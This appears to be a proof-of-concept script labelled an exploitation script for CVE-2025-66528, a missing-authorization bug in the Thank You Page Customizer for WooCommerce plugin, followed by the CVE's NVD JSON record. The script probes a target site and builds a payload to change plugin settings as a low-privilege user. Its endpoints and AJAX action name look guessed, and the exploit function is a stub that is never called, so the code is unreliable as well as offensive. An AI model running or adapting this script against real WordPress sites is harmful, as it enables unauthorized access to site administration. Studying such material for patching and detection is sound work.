CVE-2025-66528

# CVE-2025-66528 PoC - Missing Authorization in Woo Thank You Page Customizer # Affected: <= 1.1.8 # Author: Security Researcher # Reference: https://patchstack.com/database/Wordpress/Plugin/woo-thank-you-page-customizer/vulnerability/ import requests import sys TARGET_URL = "https://example.com" # Replace with target URL WORDPRESS_API_ENDPOINT = f"{TARGET_URL}/wp-json/wp/v2/" PLUGIN_NAME = "woo-thank-you-page-customizer" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-66528 Missing Authorization vulnerability in admin/frontend actions """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } # Low-privilege user session cookie (e.g., subscriber role) cookies = { "wordpress_test_cookie": "WP+Cookie+check", # Add authenticated session cookie for low-privilege user "wordpress_logged_in_[hash]": "[low_privilege_user_cookie]" } # Try to access admin functionality without proper authorization # Common vulnerable endpoints in the plugin vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-admin/admin.php?page=woo-thank-you-page-customizer", f"{TARGET_URL}/?rest_route=/wtyp/v1/" ] print(f"[*] Testing target: {TARGET_URL}") print(f"[*] Plugin: {PLUGIN_NAME}") print(f"[*] CVE: CVE-2025-66528") # Check WordPress version and plugin status try: response = requests.get(WORDPRESS_API_ENDPOINT, headers=headers, timeout=10) if response.status_code == 200: print("[+] WordPress REST API is accessible") except Exception as e: print(f"[-] Error: {e}") return False # Test unauthorized access to plugin settings # This would require actual authenticated session print("[*] Please provide authenticated session cookie for low-privilege user") print("[*] If plugin is vulnerable, low-privilege user can access admin functions") return True def exploit_vulnerability(): """ Exploit function - demonstrates unauthorized access """ print("[*] Attempting to exploit CVE-2025-66528...") # Note: Actual exploitation requires authenticated session # and identification of specific vulnerable AJAX actions exploit_payload = { "action": "woo_thank_you_page_customizer_action", "nonce": "", "data": { "settings": "modified_settings" } } # This is a template - actual exploitation depends on identified endpoints print("[*] Check Patchstack database for specific vulnerable endpoints") print("[*] Reference: https://patchstack.com/database/Wordpress/Plugin/woo-thank-you-page-customizer/") if __name__ == "__main__": print("CVE-2025-66528 Exploitation Script") print("=" * 50) check_vulnerability()

{"cve": {"id": "CVE-2025-66528", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:20.023", "lastModified": "2026-04-27T18:16:38.230", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in VillaTheme Thank You Page Customizer for WooCommerce woo-thank-you-page-customizer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Thank You Page Customizer for WooCommerce: from n/a through <= 1.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-thank-you-page-customizer/vulnerability/wordpress-thank-you-page-customizer-for-woocommerce-plugin-1-1-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}